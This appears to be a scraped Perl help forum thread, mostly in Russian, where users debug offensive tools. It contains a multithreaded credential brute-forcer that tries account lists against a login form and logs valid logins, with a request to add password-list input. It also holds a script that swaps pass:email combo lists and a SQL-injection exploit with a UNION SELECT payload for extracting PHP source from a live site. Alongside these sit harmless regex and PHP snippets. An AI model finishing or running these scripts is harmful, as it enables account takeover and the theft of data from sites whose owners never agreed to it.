Что значит не работает? Если выводит ошибку, то дайте ее нам. Еще желательно заюзать use warnings; после use strict; Есть у меня подозрение, что с фигурными скобками у вас не все ладно
Ошибка такая: Missing right curly or square bracket at script.pl line 67, at end of line syntax error at script.pl line 67, at EOF Execution of script.pl aborted due to compilation errors.
Я угадал =) проверьте кол-во фигурных скобок и правильность их расмещения. По-моему, вот здесь Code: $thr[$i] = threads->create (\&brute, $login_username, $nowpass); $i = ($i + 1) % 5; #Количество потоков (5) } } } последняя лишняя
Эта ошибка после 5-го пароля! Starting brute... [-] BAD qwerty [-] BAD 123456 [-] BAD 555555 [-] BAD 111111 [-] BAD 1234 Can`t call method "join" on an undefined value at script.pl line 29.
Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается. Сам скрипт: Code: #! /usr/bin/perl -w use IO::Socket; use threads; use threads::shared; use Fcntl ':flock'; $pwd = shift || '123456' ; #Пароль $threads = shift || 20 ; #Кол-во потоков $ml = shift || 'acc.txt' ; #Список акков $fname = 'good.txt' ; #Валидные my $i : shared = 0; my @trl; $| =1; print "Loading...\n"; open (ACS, "<$ml") || die("Could not open acc list file!"); my @acc : shared = <ACS>; chomp(@acc); close(ACS); $size = scalar @acc; print "Loaded: ".$size." accs.\n"; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while(@acc) { {lock(@acc);$acc = shift @acc;} my $sock = sock(); my $data = "-----------------------------18847261322183\n". "Content-Disposition: form-data; name=\"username\"\n\n". "$acc\n". "-----------------------------18847261322183\n". "Content-Disposition: form-data; name=\"password\"\n\n". "$pwd\n". "-----------------------------18847261322183\n". "Content-Disposition: form-data; name=\"login\"\n\n". "Submit\n". "-----------------------------18847261322183--\n\n"; my $re = "POST HTTP/1.1\n". "Host: \n". "User-Agent: Mozilla/4.0\n". "Connection: close\n". "Referer: \n". "Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n". "Content-Length: ".length($data)."\n\n".$data; print $sock $re; read($sock,my $answ,10000); if($answ =~ /cdb_auth/) { print "[+] $acc\n"; open(FILE, ">>$fname") || die("Could not open $fname\n"); flock(FILE, LOCK_EX); print FILE "$acc:$pwd\n"; flock(FILE, LOCK_UN); close(FILE); } {lock($i);$i++;} print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r"; close($sock); } } sub sock { my $sock; do { $sock = new IO::Socket::INET ( PeerAddr => '', PeerPort => 80, PeerProto => 'tcp', TimeOut => 10 ) or print "Can't connect\n"; } while (!$sock); return $sock; } Точто сам сделал: Code: $pwd = shift || 'pass.txt' ; #Пароль $threads = shift || 20 ; #Кол-во потоков $ml = shift || 'acc.txt' ; #Список акков $fname = 'good.txt' ; #Валидные my $i : shared = 0; my @trl; $| =1; print "Loading...\n"; open (ACS, "<$ml") || die("Could not open acc list file!"); open (PWD, "<$pwd") || die("Could not open pass list file!"); my @acc : shared = <ACS>; my @pwd : shared = <PWD>; chomp(@acc); chomp(@pwd); close(ACS); close(PWD); $size = scalar @acc; $size2 = scalar @pwd; print "Loaded: ".$size." accs.\n"; print "Loaded: ".$size2." pwds.\n"; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } Дальше не могу сообразить что делать.
Script is edit now work. Reverse Place From Pass:Email To Emailass --------------------------------------- Code: #!/usr/bin/perl -w print "Select Option:\n\n"; print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n"; print "Option:"; $option = <STDIN>; chomp($option); print "Specify Input File: "; $input_filename = <STDIN>; chomp($input_filename); open(INFILE, $input_filename); print "Specify Output File: "; $output_filename = <STDIN>; chomp($output_filename); open(OUTFILE, '>' . $output_filename); if ($option == 1) { while ($line = <INFILE>) { $_ = $line; /(.+?):(.+?)\n/; $a = $2; $b = $1; $a =~ s/^\s+//; $a =~ s/\s+$//; $b =~ s/^\s+//; $b =~ s/\s+$//; print OUTFILE $a, ':', $b, "\n"; } } Special tanks to Kaimi and int3
Code: #!/usr/bin/perl -w print<<HERE; Select Option: [1]: Reverse Place [ Pass:Email To Email:Pass ] HERE chomp(my $opt = <>); if($opt == 1) { print "Specify input file: "; chomp(my $in = <>); print "Specify output file: "; chomp(my $out = <>); open A, "<", $in || die $in."-".$!; open B, ">>", $out || die $out."-".$!; while(<A>) { $_ =~ /(.+?):(.+?)\n/; print B $2.":".$1."\n" if defined $1 && defined $2; } close A; close B; } else { print "No option has been specified\n"; }
Извените но я сосвсем тупой и непонимаю! Поэтому задам вопрос соответственно моей тупости! Я видел на одном форуме как с перл сделали античит для кс 1.6 Неподскажите как сделать? Думаю мне помогут
тест 1. Выбрать из таблицы базы данных MySQL случайную запись несколькими способами. Есть одно важное ограничение – диапазон id НЕ является непрерывной числовой последовательностью! Структура таблицы: CREATE TABLE `rand_test` ( `id` int(11) NOT NULL auto_increment, `name` varchar(50) NOT NULL default '', `ispub` tinyint(1) NOT NULL default '1', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=1 ; Пояснения: id - первичный ключ name - информация ключа ispub - признак публикации (1- запись участвует в выборке, 0-нет) 2. Вывести древовидную структуру, основываясь на данных из таблицы MySQL. Скрипт должен отформатировать текст используя шаблон, хранящийся отдельно (Условие обязательно). Структура таблицы: CREATE TABLE `tree` ( `id` int(11) NOT NULL auto_increment, `pid` int(11) NOT NULL default '0', `name` varchar(50) NOT NULL default '', `ispub` tinyint(1) NOT NULL default '1', PRIMARY KEY (`id`), KEY `pid` (`pid`) ) TYPE=MyISAM AUTO_INCREMENT=1 ; Пояснения: id - первичный ключ pid - ключ «родительского» элемента (0- для корневого) name - информация ключа ispub - признак публикации (1- запись учитывается, 0-запись не учитывается) Шаблон: Для упрощения задачи шаблоном принимается асоциативный массив, используемый скриптом и хранящий описанием форматирования вывода дерева. $template=array( 'body' =>'<ul>{body}</ul>', 'node' =>'<li>{node} <ul>{sub}</ul>', 'item' =>'<li>{item}', ); В итоге, вы должны получить: 1. PHP скрипт, выводяший древовидную структуру из БД 2. Иметь возможность полностью изменить форматирование текста, не изменяя кода самого скрипта. Нужно очень быстро решить задание. Стукните в асю 394820553 дам денег
$a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234"); $b = str_replace(' ','',$a[0]); echo $b;
Попробуй так Code: open BLAH, '<', 'file.txt' or die 'can't read'; while(<BLAH>) { chomp; my ($a, $b) = split /:/, $_; $a =~ s/\D//g; $b =~ s/ //g; print $a.":".$b."\n"; } close BLAH;
Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g; должно выглядеть так: Code: $b =~ s/\s+//g;
насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы так что примре Kaimi наиболее правильный ЗЫ \s Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].
Reverse IP help. I search for good reverse ip that ask for insert ip then scan and make output file whit the ip name and check for host too. Insert IP:95.95.95.95 95.95.95.95.txt and inside -------------------------- Report for:95.95.95.95 Hosting:blabla 1.http://www.xxx.com 2.http://www.xxx.com etc.etc -------------------------- Some site for reverse http://www.ip-adress.com/reverse_ip/209.xx.xx.xx http://www.sitedossier.com/ip/87.xx.xx.xx http://www.robtex.com/ip/ http://wservices.ru/reverseip.php and 1 old script Code: #!/usr/bin/perl use LWP::UserAgent; while (!$ARGV[0]) { print "Usage: $0 IP \n"; exit;} $a = 1; $ua = new LWP::UserAgent(timeout => 15, agent => "Mozilla/5.0 (x11; u; linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7)" ); $req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=1&ob=SLD&oo=ASC'); if (!($req->is_success)) { die $req->status_line; } else { $output = $req->as_string; until ($output =~ /(.*?)IP\sDetails\s-\sN\/A\./) { $req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=' . $a . '&ob=SLD&oo=ASC'); if (!($req->is_success)) { die $req->status_line; } $output = $req->as_string; while ($output =~ /<td><a\shref=\"http:\/\/whois.webhosting.info\/(.*?)\">/g){ my($crap,$yes)=split(/info\/(.*?)\.\"\>/,$&); print "$yes\n"; } sleep 5; $a++; } print "Done!\n"; } Thanks in advance.
Здраствуйте Не осилил всю ветку может где и поднималось. В общем есть задачка написать сплойт по вытаскиванию в познавательных целях php исходников с одного сайта через внедрение запроса к МySQL (используя обнаруженную SQL - injection и благоприятные права на чтение файлов у пользователя БД) Ручками я их уже повытягивал, используя InetCrack, но ввиду большого количества файлов столкнулся с большим количеством рутинных операций. Попробывал написать perl скрипт но столкнулся со сложностями. Дело в том, что для успешной SQL-injection используется обратная кавычка (см переменную sql_inj_str после param) Переменная успешно создается с обратным апострофом в теле, но вот серверу она в качестве контента передается не правильно(судя по ответу как обычная кавычка, которая фильтруется или я чего-то не догоняю) Я не большой специалист в PERLе так что помогите кто чем может Посмотрите пожалуйста код, может будут какие-то мнения? #!/usr/bin/perl # подключение библиотек use strict; use LWP; use HTTP::Cookies; # Путь к сайту и "ядовитый" запрос my $url='test_site.ru'; my $sql_inj_str='param`+where+name=char(100,100,100)+union+select+0,0,0,0,0,0,0,0,0,123456789,0+;+--+'; # подготавливаем виртуальный браузер и создаем файл для cookie my $browser = LWP::UserAgent->new; $browser->cookie_jar( HTTP::Cookies->new('file' => 'cookies','autosave' => 1)); # отправка запроса my $script='/index.php?lang=ru&path=log'; #путь до уязвимого скрипта сервера my $response = $browser->post($url.$script, Content_Type => 'application/x-www-form-urlencoded', Content => [ nick=>'Test_nick', server=>$sql_inj_str, , ] ); die "$url error: ", $response->status_line unless $response->is_success; # сохраняем страницу ответа в LOG open(LOG,'>out_htm.htm'); print(LOG $sql_inj_str); print(LOG $response->content); close(LOG);